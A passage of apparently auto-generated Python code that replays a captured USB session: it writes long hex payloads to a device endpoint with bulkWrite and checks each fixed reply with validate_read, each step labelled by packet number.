b\"\\x76\\x20\\xBC\\x33\\x99\\x88\\xB5\\xFA\\x11\\x79\\x20\\xE4\\xE9\\xF3\\xBA\\xA1\"\n b\"\\x57\\x39\\x11\\xBA\\x9B\\xFF\\x86\\x0C\\xDC\\xB6\\x5E\\x16\\x08\\x20\\x6E\\xEA\"\n b\"\\x77\\x74\\x77\\x5F\\x89\\x81\\x9E\\x82\\xDB\\x17\\x88\\x58\")\n # Generated from packet 911/912\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 911/912\")\n # Generated from packet 913/914\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x27\\x39\\x0F\\xF0\\xF7\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC5\\xF7\\x48\\x2B\\x62\\xBC\\x61\\x49\"\n b\"\\xFC\\xD1\\x91\\x1D\\xE2\\xC5\\xED\\x0D\\x34\\x9F\\x6F\\x02\\xF6\\xCE\\x11\\xFB\"\n b\"\\x15\\xAE\\xC7\\x1B\\x64\\x11\\xE6\\x6A\\x24\\x35\\xE2\\xB8\\x5D\\xF3\\x3F\\x9D\"\n b\"\\xCD\\xF5\\x64\\xF8\\x4D\\x80\\xDF\\xDD\\x33\\xB5\\xB7\\xC1\\xBA\\xB8\\x78\\x9E\"\n b\"\\xC2\\x01\\x38\\x75\\x25\\x31\\xB7\\x6A\\xCD\\x2B\\xCC\\x6C\\xF9\\x35\\xD6\\xE1\"\n b\"\\x88\\x32\\x0B\\x77\\x4F\\x68\\x1D\\x81\\x38\\x45\\xB2\\x23\\x2E\\x04\\xC5\\xE9\"\n b\"\\x9A\\x48\\xCD\\x0F\\xE3\\x65\\x55\\x9A\\x53\\x9B\\x86\\xBE\\x0E\\xF4\\x68\\x11\"\n b\"\\xF4\\xE6\\x3F\\xEB\\x48\\x99\\x57\\x2A\\x75\\x19\\x5B\\x7F\\xC0\\x2E\\xBF\\xE3\"\n b\"\\x1A\\xD8\\x71\\xC5\\x83\\x82\\x89\\x99\\x31\\xBD\\xED\\xFE\\x64\\xB6\\x8E\\xE6\"\n b\"\\x3C\\x70\\xE6\\x83\\x4D\\x1C\\xF3\\x82\\x9C\\x08\\x7A\\x9E\\x52\\xD9\\x36\\x3F\"\n b\"\\x30\\xAE\\xC9\\x49\\x61\\x7E\\xC5\\x95\\xBB\\xE0\\x79\\x3E\\x37\\x75\\xF6\\xFB\"\n b\"\\xD0\\xFF\\xDA\\xA8\\x18\\x04\\x25\\xF1\\xC4\\xF0\\x1B\\x37\\x2C\\x5A\\x60\\xC3\"\n b\"\\x65\\x16\\x6C\\x3D\\x34\\xB8\\x99\\x68\\x67\\xE9\\xDC\\x65\\x01\\x6B\\x58\\xB2\"\n b\"\\x29\\x17\\x29\\x68\\xE8\\xC4\\xFF\\xF4\\x8D\\x5E\\xF3\\x2A\\x8F\\xCE\\x81\\x52\"\n b\"\\x61\\xEF\\x62\\xC5\\xC7\\xCA\\x25\\x51\\x80\\xD3\\xFF\\x52\\x56\\x3D\\xC5\\x02\"\n b\"\\x16\\x58\\x7A\\x7A\\xDD\\x09\\xC7\\xA5\\x23\\xB1\\x71\\xC9\\xAC\\x66\\x37\\x4A\"\n b\"\\x5B\\x08\\x5B\\x7B\\x15\\x62\\xB6\\xE6\\xAC\\x66\\x00\\x9B\")\n # Generated from packet 915/916\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 915/916\")\n # Generated from packet 917/918\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\xF1\\x9B\\x86\\x2B\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA7\\x6E\\x9E\\xD2\\xB1\\x78\\xD7\\x30\"\n b\"\\x0B\\xF0\\x6D\\x08\\x76\\x50\\x84\\x4A\\xC0\\x3E\\xE1\\x21\\xFF\\x64\\xB4\\x5E\"\n b\"\\xD1\\xC2\\x0D\\x01\\xF1\\xC0\\x24\\x40\\x66\\xA2\\x08\\x62\\x3D\\xF6\\x14\\x0F\"\n b\"\\x50\\xE2\\xBB\\x53\\x03\\x4C\\xAC\\xE8\\x47\\x58\\x7E\\xDD\\x6B\\xFB\\x7B\\x61\"\n b\"\\x87\\x5D\\x95\\x5E\\xF4\\x02\\x65\\xAF\\x0E\\x6E\\x8A\\x26\\xAA\\x50\\x34\\x15\"\n b\"\\x2C\\x70\\xCD\\x0E\\x4C\\xDD\\x47\\xFC\\xB0\\x30\\xAC\\xF5\\x27\\xBD\\x0F\\x18\"\n b\"\\x06\\x54\\x71\\xEB\\x94\\xA0\\x2B\\x0C\\xF0\\x90\\x81\\x59\\x4F\\x71\\x13\\xC9\"\n b\"\\x1A\\x21\\xD2\\x2A\\xCB\\x2E\\x08\\x90\\x13\\x2E\\xD9\\x52\\xF8\\xA8\\xCC\\x12\"\n b\"\\x76\\x98\\x27\\x9A\\xA1\\x11\\x0D\\xA0\\xFF\\x60\\xCD\\x4E\\xB1\\xAB\\xB4\\xFD\"\n b\"\\x30\\x19\\x01\\xA7\\x95\\xC6\\x8C\\xE0\\xFD\\xB5\\x97\\x30\\x3B\\x34\\x82\\xF0\"\n b\"\\x41\\xE3\\x0B\\x46\\x27\\x77\\x33\\xDD\\x2C\\x42\\x0A\\x3F\\xAC\\x12\\x69\\xA1\"\n b\"\\x59\\x08\\x3F\\x76\\xBB\\x84\\x91\\xDB\\x70\\x3A\\x12\\x35\\x1F\\x4E\\xFC\\x75\"\n b\"\\x66\\x02\\x2A\\xD0\\xD4\\x0B\\x37\\xDB\\xBA\\xFB\\xD8\\x4D\\x2E\\x8E\\xB5\\x7D\"\n b\"\\xE9\\x0C\\xD9\\xA6\\x73\\xD9\\x22\\x84\\x61\\x40\\xFB\\x62\\x0B\\xC9\\x37\\x35\"\n b\"\\xA9\\xBF\\x97\\x26\\x70\\xCE\\x6A\\xC1\\xFA\\xF9\\x4B\\x4E\\xF4\\x10\\xF7\\x6E\"\n b\"\\x50\\x63\\x0F\\x8A\\xBE\\x7C\\x61\\xB6\\xC4\\x9C\\x7E\\x0E\\xCB\\xE0\\x28\\x7C\"\n b\"\\xB5\\x4A\\xD6\\xB6\\x5D\\x46\\x48\\xCB\\x9A\\x3B\\x11\\xCB\")\n # Generated from packet 919/920\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 919/920\")\n # Generated from packet 921/922\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3D\\x0A\\xBA\\xC5\\x78\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF3\\x64\\x3B\\x9C\\x3F\\x4F\\xB2\\x89\"\n b\"\\x75\\x48\\xBE\\x15\\x2C\\x2E\\x3F\\x45\\x93\\xC7\\xD6\\x57\\xC5\\xF3\\x09\\xFA\"\n b\"\\x07\\x04\\x65\\x65\\xAF\\x22\\xF0\\x64\\xE5\\xC8\\x9D\\x47\\x6C\\xC8\\x7F\\xB4\"\n b\"\\x3E\\x10\\xC6\\x0B\\x40\\xA3\\x48\\x34\\xAD\\x72\\xCC\\x9B\\xE4\\xBF\\x9F\\xF4\"\n b\"\\xA2\\x0C\\x4D\\x4A\\xBC\\xBC\\x98\\x34\\xF8\\xFC\\xC2\\x4D\\x19\\xE7\\xF5\\x91\"\n b\"\\x2C\\x0D\\x22\\x00\\x28\\x7A\\x1C\\xF8\\x57\\x2D\\x2E\\x9E\\x17\\xB7\\x08\\x4F\"\n b\"\\x5F\\xF6\\x1F\\xBB\\xDD\\x3E\\x70\\x35\\x4C\\x0E\\x5E\\x8B\\xA4\\x32\\xD7\\xA5\"\n b\"\\xCA\\x51\\x1D\\x5B\\xE4\\xC3\\x08\\x8F\\xA3\\x43\\xF3\\xF5\\xAF\\x54\\x50\\xD4\"\n b\"\\x82\\xC7\\xB5\\x0E\\xAD\\xC8\\x16\\x72\\xC4\\xE8\\x66\\xEE\\x2D\\xA1\\x39\\x4B\"\n b\"\\x36\\x8F\\xD0\\x74\\xCA\\x1E\\x9F\\x1C\\x88\\x16\\x34\\x38\\xF4\\xDF\\x4E\\x07\"\n b\"\\x3B\\x1A\\xF4\\x1A\\xAC\\x74\\x31\\x21\\xDF\\x25\\xDA\\x25\\x92\\x26\\x86\\xA4\"\n b\"\\xF8\\xD0\\x2B\\xBD\\xA4\\x6C\\x87\\xBC\\x91\\x58\\x17\\x68\\xB1\\x65\\x8D\\x92\"\n b\"\\x04\\x66\\x2A\\xC3\\xC4\\x37\\x77\\xE5\\x4C\\x99\\x4B\\xE6\\xAF\\x4C\\x01\\x0D\"\n b\"\\x70\\x5E\\x68\\x6E\\x9A\\x0F\\x05\\x15\\xCF\\x0F\\x5B\\x3E\\xC6\\x4B\\x87\\xCC\"\n b\"\\x48\\xE8\\x50\\x3B\\xC3\\xE1\\x29\\xBB\\x0C\\x8E\\xF1\\x2F\\xB8\\x0B\\x4D\\xF6\"\n b\"\\xA1\\xBC\\x09\\x58\\xF2\\x18\\xF3\\x48\\x19\\xD1\\x40\\x89\\xD9\\x64\\xB7\\x4C\"\n b\"\\xF0\\x00\\x2C\\xC8\\xC7\\x6D\\xDF\\xF3\\xA8\\x9B\\xB2\\x16\")\n # Generated from packet 923/924\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 923/924\")\n # Generated from packet 925/926\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0E\\x51\\x06\\x4D\\x81\\x14\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x66\\xE8\\x75\\x2A\\x2F\\xFE\\x65\"\n b\"\\xE1\\x45\\xFF\\x66\\x52\\xB8\\xB1\\x05\\xBF\\x9D\\x8C\\x5F\\xBB\\xCC\\xF5\\xFE\"\n b\"\\xC5\\xE5\\x1D\\x9E\\x6C\\xA2\\xDE\\xBB\\x1A\\x6B\\x2B\\x86\\xBD\\xFA\\xDD\\x5D\"\n b\"\\x41\\x14\\x25\\x30\\x85\\x26\\xB2\\x54\\x76\\x99\\x81\\x00\\x8D\\xC6\\xF9\\x03\"\n b\"\\xC5\\xDA\\x49\\x36\\xEB\\x30\\xAA\\x73\\xAC\\xBF\\x55\\xB1\\x5B\\x2F\\x33\\x2B\"\n b\"\\xA6\\xAE\\xFB\\x46\\xEF\\xA3\\xCD\\x50\\x00\\x24\\x2A\\x57\\x32\\x7C\\x15\\xEF\"\n b\"\\xD1\\x5D\\x5E\\xFF\\xB1\\x97\\xF5\\x7D\\xA9\\x42\\x19\\xF8\\x8F\\xE6\\xA2\\x06\"\n b\"\\x49\\x23\\xB5\\x3E\\x8E\\x13\\x33\\xB9\\x6F\\xC4\\x1E\\x28\\x9B\\x25\\x81\\xF5\"\n b\"\\x24\\x1D\\xF0\\x4D\\x14\\x7F\\x71\\x14\\xEC\\x7E\\xB1\\x66\\xC8\\x33\\x45\\x75\"\n b\"\\x88\\x92\\x12\\x2C\\xA3\\xDB\\x04\\xFA\\xE0\\x87\\x6D\\x16\\x32\\x34\\x93\\xAF\"\n b\"\\x6C\\xB8\\xD9\\xDC\\x36\\xD9\\xCA\\xEE\\x85\\x91\\x00\\x3A\\xAD\\xDD\\xD7\\x5B\"\n b\"\\x81\\x65\\x84\\x74\\x5A\\x2F\\xE3\\xA7\\xC4\\x5D\\xFA\\x7B\\xBE\\xBA\\x82\\x29\"\n b\"\\x2D\\xE7\\xCC\\x99\\x6A\\x06\\x58\\x2C\\x4A\\x06\\x26\\xDC\\xE2\\x34\\x7E\\x51\"\n b\"\\xD9\\xE5\\x36\\xC4\\xD4\\xDD\\xAF\\x58\\x04\\x4F\\x58\\x06\\x5E\\xBA\\x0E\\xAD\"\n b\"\\x4E\\x8C\\xB3\\x35\\xEE\\x41\\xA9\\x71\\x57\\xFF\\x45\\xA3\\x51\\x0B\\x7A\\x55\"\n b\"\\x54\\x31\\x53\\xC3\\x9C\\x10\\x61\\x91\\x63\\x0B\\x14\\x6D\\x4A\\xA7\\xF3\\x94\"\n b\"\\x62\\xCA\\xCB\\xBD\\x71\\x0A\\x8F\\x21\\x00\\x98\\x0D\\xEC\")\n # Generated from packet 927/928\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 927/928\")\n # Generated from packet 929/930\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\xBE\\xAB\\x60\\x87\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x97\\x6D\\x1A\\x4D\\xF2\\x36\\x52\"\n b\"\\x75\\x17\\x12\\xE4\\x7A\\x18\\x13\\xC3\\x42\\xBC\\x0F\\x9C\\x5A\\x6C\\x43\\x62\"\n b\"\\x37\\x32\\xA1\\x1D\\x17\\x08\\x54\\xBB\\x48\\x2F\\x86\\x6E\\xE6\\x23\\x7E\\x5F\"\n b\"\\xB9\\xA1\\x9B\\x16\\xFC\\x15\\x2D\\x55\\xA5\\x7A\\x51\\x3D\\xF0\\xA6\\xE4\\x07\"\n b\"\\x2C\\x6C\\x7E\\x08\\xDA\\x05\\x5F\\x46\\xE6\\x21\\xC3\\xE0\\xEE\\x03\\xF3\\x44\"\n b\"\\x91\\x09\\x23\\x8E\\xE4\\x24\\x65\\x62\\x41\\x08\\x71\\xE2\\x9B\\x8D\\x00\\xD6\"\n b\"\\xF8\\xE3\\x52\\x09\\x57\\xE4\\x67\\x34\\x7B\\xA6\\xA5\\x20\\x32\\xBC\\x2C\\x03\"\n b\"\\x39\\xC8\\xC7\\x79\\x23\\x6E\\xAB\\x8C\\x12\\x72\\x8F\\xFE\\x3E\\x67\\xA7\\x0C\"\n b\"\\xAA\\x6C\\xA3\\xEE\\xE1\\x57\\xBC\\x53\\xF8\\x8F\\xCA\\x19\\x27\\xF0\\xDE\\x6F\"\n b\"\\x79\\x3C\\x93\\x87\\x55\\x3E\\xE5\\xE3\\x5E\\x05\\xD8\\xA0\\x7A\\x28\\x41\\xFC\"\n b\"\\xF1\\xD4\\x84\\x2E\\xEB\\x57\\x9B\\xA3\\x20\\xF6\\x1B\\x81\\x49\\xD7\\x09\\x1F\"\n b\"\\x17\\xFF\\x4E\\xFE\\x89\\x91\\xFA\\x9B\\x62\\xC6\\xB3\\xC1\\xE0\\x3E\\x67\\xED\"\n b\"\\x22\\xD1\\x84\\xFA\\x91\\x93\\x8A\\xB3\\x64\\xDD\\x7A\\x25\\x0F\\x72\\xD2\\xC9\"\n b\"\\xB4\\x43\\x56\\x28\\xBA\\x47\\xAD\\x53\\x28\\x0C\\x4A\\xB3\\x74\\x73\\xE3\\xAD\"\n b\"\\x62\\x35\\x44\\x28\\xDC\\x89\\xEC\\x3E\\x1B\\xE2\\x14\\xAF\\xBC\\x1F\\x13\\xFB\"\n b\"\\xD8\\xAB\\x8D\\xC0\\x97\\x80\\x94\\xCF\\xFE\\x01\\xE6\\xB3\\x31\\xE8\\xBE\\xF0\"\n b\"\\x42\\x0C\\x51\\xF0\\xDB\\x25\\x6C\\xEE\\x39\\xA4\\xAF\\xF5\")\n # Generated from packet 931/932\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 931/932\")\n # Generated from packet 933/934\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\xEA\\x65\\x7A\\x44\\x7B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\xDC\\xA4\\xD4\\x67\\x54\\x88\\xFC\"\n b\"\\x5B\\xBA\\x3F\\xF9\\x34\\x1D\\xF3\\x3C\\x9C\\x96\\x80\\x5B\\x74\\xCE\\xCB\\xFD\"\n b\"\\xA9\\x94\\x11\\x20\\xA9\\xE5\\x2C\\x18\\x63\\x65\\x1F\\x15\\x95\\xC6\\xE1\\x8C\"\n b\"\\x9D\\xD3\\x7A\\xD1\\xC8\\x9C\\x93\\x45\\x58\\x85\\x05\\x91\\x89\\x70\\x8D\\x18\"\n b\"\\x23\\xD1\\x65\\x1D\\x43\\xD9\\x72\\x2B\\xD4\\x0F\\x68\\xD5\\x65\\x16\\xA2\\x5C\"\n b\"\\x07\\x2C\\x8F\\x4F\\x94\\x6C\\x11\\x04\\x42\\x0D\\xBD\\x9E\\x5C\\xB3\\xFA\\x92\"\n b\"\\x3A\\xF6\\x30\\xBB\\x95\\x53\\x1D\\x90\\x15\\xA3\\x8C\\x40\\xE0\\xE4\\x2C\\x65\"\n b\"\\xC7\\xC4\\xC6\\x69\\xED\\xE4\\x48\\xA2\\x61\\xC5\\xA6\\x70\\x4B\\x59\\x87\\xE3\"\n b\"\\xEA\\xE2\\x7F\\x0E\\x11\\xDE\\x3D\\xF8\\x5E\\x66\\xA3\\xBE\\x3A\\x68\\xAE\\x15\"\n b\"\\xFE\\x09\\xD8\\x44\\xE7\\x9F\\x29\\x79\\x0C\\xA2\\xAC\\x74\\x88\\xE7\\x42\\xB0\"\n b\"\\x6E\\xCA\\xCA\\xA4\\xD0\\x07\\x8D\\xAF\\x8A\\x6D\\xDF\\xBA\\xDE\\xC6\\x1A\\x55\"\n b\"\\xC7\\xD9\\x4F\\x88\\xC3\\x52\\x4C\\x2A\\xD7\\xBF\\x8F\\xF4\\x71\\x5E\\x18\\x63\"\n b\"\\x46\\x6B\\xFD\\xC8\\x49\\x04\\x18\\xA4\\x3A\\x9E\\x6A\\x90\\x14\\xE4\\xFC\\xB3\"\n b\"\\x74\\xD2\\xAF\\x6B\\xAE\\xD3\\x10\\xC1\\x91\\xB1\\x9D\\xB6\\xC8\\xE5\\xEC\\x4E\"\n b\"\\x01\\xC3\\x29\\xA7\\x42\\xF4\\x31\\x25\\x7B\\xAC\\xE8\\x54\\xEC\\xC3\\xCA\\xE3\"\n b\"\\xCF\\xE5\\x94\\xA1\\x6D\\xFF\\xA9\\x74\\x1F\\xE4\\x68\\x39\\x4F\\xAB\\xE0\\x43\"\n b\"\\xDC\\x6C\\x80\\x82\\x58\\xED\\x88\\x7B\\xB6\\x98\\x0D\\x91\")\n # Generated from packet 935/936\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 935/936\")\n # Generated from packet 937/938\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0E\\x2F\\x54\\xCB\\x0E\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4C\\xFF\\x7C\\xDE\\xAD\\x60\\xEB\\xDF\"\n b\"\\x33\\x46\\xCC\\x21\\xD1\\x73\\xBD\\xC8\\xEB\\x2E\\xCD\\x18\\xFE\\x05\\x4A\\xC2\"\n b\"\\x8E\\x6D\\x54\\x16\\xE0\\x53\\x50\\xBF\\x28\\x59\\x6B\\xF6\\xDE\\x8D\\xE2\\x3D\"\n b\"\\x06\\xBC\\xCB\\x62\\x46\\xAC\\xC3\\xBE\\x7B\\xAD\\xDC\\x0D\\x4E\\x0D\\xF0\\x0D\"\n b\"\\x37\\x53\\x33\\x43\\x11\\xD0\\xA1\\x77\\x0B\\x9C\\xBD\\x34\\x68\\xB9\\xC7\\xED\"\n b\"\\x5D\\x5D\\x1E\\x26\\xD3\\x83\\xD6\\xBB\\x2E\\x42\\x93\\xAC\\x4E\\xE9\\x75\\x84\"\n b\"\\x75\\x1B\\xE0\\xC0\\xED\\x1A\\x80\\xF4\\xD1\\x0E\\x3F\\xE9\\xDE\\x79\\x92\\xBE\"\n b\"\\xCD\\x3F\\x84\\x44\\xFB\\xFA\\xD1\\x2A\\xE4\\x3D\\x05\\x00\\x26\\xB9\\xC4\\x1B\"\n b\"\\xB4\\xD9\\x5F\\xBD\\x81\\xBD\\xF9\\xA1\\x8F\\x35\\xF2\\xAF\\x05\\xDE\\x13\\x61\"\n b\"\\x59\\x45\\x91\\x58\\x18\\x09\\x3F\\xB0\\x99\\x4D\\x45\\x90\\x7D\\x91\\x79\\xA1\"\n b\"\\x66\\x3D\\xAC\\xDB\\x58\\xA6\\xFB\\xAA\\x48\\x8A\\x9B\\x17\\x0D\\x40\\xCC\\xF3\"\n b\"\\xEC\\xD0\\x22\\x10\\x1C\\x7D\\xA8\\xF4\\xFF\\xA1\\x93\\x62\\x94\\x9F\\x81\\x37\"\n b\"\\xDE\\x87\\x04\\x51\\xA8\\xD9\\xF8\\x98\\xD4\\x81\\xA5\\x20\\x19\\x79\\x7A\\xCA\"\n b\"\\x49\\x09\\x82\\x49\\xDE\\x3D\\x67\\x73\\x6B\\xB8\\xA9\\x1E\\xDC\\x90\\xC3\\x1D\"\n b\"\\xD5\\xEF\\x23\\x6E\\xA4\\x80\\xDC\\xEF\\x29\\x78\\x9A\\xEF\\xD1\\xA7\\x23\\x75\"\n b\"\\xC3\\xF0\\x5C\\x07\\xD1\\xC3\\x52\\xD0\\x27\\xFC\\xDA\\xC4\\xC3\\xD3\\xED\\xE6\"\n b\"\\xC3\\x29\\xD3\\x5B\\x71\\x62\\x88\\xA1\\xB1\\xC1\\x5F\\xBC\")\n # Generated from packet 939/940\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 939/940\")\n # Generated from packet 941/942\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x58\\x60\\x22\\x72\\x5F\\x76\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xD0\\x65\\xEF\\x24\\x6D\\x7F\\x5A\"\n b\"\\x13\\xE6\\xA4\\x9C\\xD0\\x81\\x4B\\x08\\xF7\\x58\\xAA\\x94\\x4B\\x79\\x36\\x05\"\n b\"\\x08\\x65\\x2C\\x1C\\x0F\\x21\\x60\\x27\\x6B\\x57\\xE2\\x66\\xF2\\x62\\x23\\x87\"\n b\"\\xAF\\xAB\\x38\\x26\\x0B\\xE7\\xD2\\x55\\x00\\x0E\\x10\\xA1\\xA2\\x34\\xDC\\x43\"\n b\"\\xE5\\xC0\\x13\\x56\\x35\\xC9\\x15\\x3D\\x03\\x58\\xC4\\x7A\\x71\\x8C\\xA4\\x1C\"\n b\"\\x72\\x44\\xD1\\x32\\xD0\\xF7\\xA7\\xE0\\x59\\xEE\\x8B\\x16\\x4E\\xFA\\x25\\x86\"\n b\"\\xE6\\x6D\\x98\\x9B\\x7D\\x7D\\x7B\\x14\\xB5\\x3D\\x76\\x27\\x2C\\xC0\\xD3\\xA7\"\n b\"\\xEF\\x0F\\xD5\\x98\\xFF\\x00\\x6E\\x4D\\x19\\x48\\x28\\x2F\\x7C\\xFC\\xEC\\x7D\"\n b\"\\xB8\\x55\\xFA\\x8E\\x27\\x0A\\xD8\\x2A\\xD9\\x97\\x6F\\xDC\\x90\\x5A\\x5E\\x8A\"\n b\"\\xF8\\xF0\\x36\\xC4\\x86\\xD0\\x1B\\x53\\xBB\\xB6\\xD0\\x46\\x2D\\x6C\\xD5\\xFE\"\n b\"\\xB3\\x1B\\x43\\x66\\xC0\\xC5\\x00\\xD9\\x15\\xEF\\x82\\xFA\\x21\\x3F\\x35\\x8C\"\n b\"\\x8F\\x71\\x8A\\x95\\x07\\x1E\\x00\\x6E\\xC4\\xD5\\xB5\\xF5\\xE5\\xF5\\x05\\xF5\"\n b\"\\xE9\\x45\\x39\\x5D\\xEF\\x24\\x89\\x51\\x85\\x80\\x3A\\x74\\xA1\\x7B\\x9C\\x77\"\n b\"\\x34\\x01\\x48\\x37\\xFC\\xE6\\xED\\xA8\\x35\\x9B\\x91\\xA3\\x96\\x95\\xE8\\x91\"\n b\"\\xF6\\xB1\\x64\\xDF\\xC8\\xA6\\x63\\x77\\xC5\\x17\\x2A\\xE1\\x6A\\xF7\\x0E\\x6B\"\n b\"\\x67\\x0E\\x12\\x2F\\x44\\x36\\x7E\\x1F\\x28\\x44\\x13\\xA2\\x5C\\xC7\\xC2\\x7F\"\n b\"\\x55\\x56\\x67\\x51\\xC8\\x84\\xDA\\xED\\xAA\\x7A\\xC0\\xD9\")\n # Generated from packet 943/944\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 943/944\")\n # Generated from packet 945/946\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x34\\x4B\\xB6\\xAE\\x50\\x18\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7D\\xBC\\xFF\\x0F\\x0E\\xDA\\x9A\\x52\"\n b\"\\xD7\\xC5\\x35\\x10\\x72\\x82\\x0C\\x6F\\x30\\x7F\\x18\\x60\\x0C\\x2C\\x28\\x95\"\n b\"\\x44\\x1D\\x0E\\x62\\x29\\xC5\\x66\\x69\\x68\\xE8\\x6D\\xE1\\x3C\\x38\\xB9\\xA1\"\n b\"\\xE4\\x2D\\xB6\\xFA\\x80\\x4E\\x5A\\xD8\\x5A\\x17\\x2D\\xD6\\xFE\\x97\\x3F\\x02\"\n b\"\\xF9\\x88\\xA3\\x05\\x9B\\x21\\x84\\xB3\\x00\\xC2\\xE6\\x7F\\xF8\\xA6\\x57\\x3E\"\n b\"\\x5C\\x2D\\xDE\\xCA\\xD0\\x57\\x9A\\x5F\\xEE\\xFE\\xBC\\x52\\x74\\x38\\x12\\xAA\"\n b\"\\x7F\\xA7\\x5E\\x1A\\x4F\\x94\\x76\\x12\\x26\\xCE\\x69\\x03\\xC6\\x29\\x57\\x11\"\n b\"\\x6E\\x38\\x07\\x8A\\xE4\\xCE\\xA1\\xB7\\xC5\\x73\\x6A\\x5F\\x3C\\x23\\x71\\x3B\"\n b\"\\xE2\\x74\\x5D\\x94\\xD4\\x36\\xD6\\xA7\\xA4\\xED\\x77\\xA6\\x16\\xE9\\xED\\x56\"\n b\"\\x25\\x46\\xA2\\x99\\xCA\\x5E\\x7C\\x0F\\xC0\\x99\\x51\\x32\\xE0\\x37\\x42\\x48\"\n b\"\\x5E\\x99\\x99\\xB3\\xC3\\x11\\xA5\\xF9\\x81\\x28\\xBB\\xC7\\xA5\\x40\\xF9\\x19\"\n b\"\\x65\\xF8\\x6C\\x1B\\x30\\x7A\\x46\\xBA\\x5A\\x32\\x06\\xF5\\xEE\\x56\\x2E\\x6F\"\n b\"\\x38\\x75\\x61\\x82\\x9A\\x1F\\x0D\\x29\\x49\\x51\\x38\\xB2\\x80\\x86\\x98\\x13\"\n b\"\\xD5\\xFB\\xAE\\xB5\\x15\\x5D\\x81\\xB2\\x71\\x1B\\xF3\\xF5\\xA6\\x9E\\x5C\\xF4\"\n b\"\\xDA\\x78\\xAB\\x99\\x47\\x9E\\xAF\\x38\\xDB\\x61\\x7C\\x6E\\x5A\\x00\\x21\\x72\"\n b\"\\x4D\\x8D\\x34\\xC0\\x6B\\x11\\x96\\x4E\\xFF\\xF5\\xD1\\x0B\\xE2\\x86\\xFE\\x27\"\n b\"\\xD2\\x7F\\xE4\\x66\\xCB\\x7F\\x80\\xE0\\x19\\x32\\xAE\\xCA\")\n # Generated from packet 947/948\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 947/948\")\n # Generated from packet 949/950\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE5\\x0F\\x1C\\x7A\\x00\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\x8F\\xA5\\x4C\\xD4\\x2B\\xE4\\xB1\"\n b\"\\x65\\x19\\xC9\\x77\\xAC\\xD3\\x8D\\xB9\\x99\\x90\\x49\\x6A\\x10\\x83\\x58\\x68\"\n b\"\\x1F\\x99\\xCD\\xE7\\x80\\xDD\\x1E\\x3D\\x8C\\x77\\x70\\x56\\xF5\\x66\\x1F\\x57\"\n b\"\\x22\\xA5\\x23\\xE1\\x1B\\xE1\\x57\\x47\\xF6\\xB1\\x8E\\x10\\x6B\\x72\\xE6\\x10\"\n b\"\\x3A\\x8E\\x07\\x71\\x7E\\x6F\\x55\\x56\\x7C\\x14\\x57\\x3E\\x3F\\x9E\\x41\\x8E\"\n b\"\\xE4\\x1D\\xB0\\xB8\\xE6\\x95\\xC0\\x12\\x6B\\x23\\xB7\\xA2\\x79\\xD9\\x82\\x7F\"\n b\"\\x57\\x9C\\xE9\\xFC\\x5B\\x7B\\x32\\x6F\\xD3\\x9B\\x2C\\x23\\x40\\xDA\\xFC\\xFF\"\n b\"\\x08\\x5C\\x2A\\x46\\x35\\x0F\\xB1\\x10\\xB2\\x91\\xA1\\x1F\\xA2\\xB5\\x7E\\xC9\"\n b\"\\xF5\\x68\\x95\\x9F\\x8E\\x1A\\xB3\\x78\\xCB\\x56\\xE5\\x5E\\x6C\\x9B\\x06\\x8E\"\n 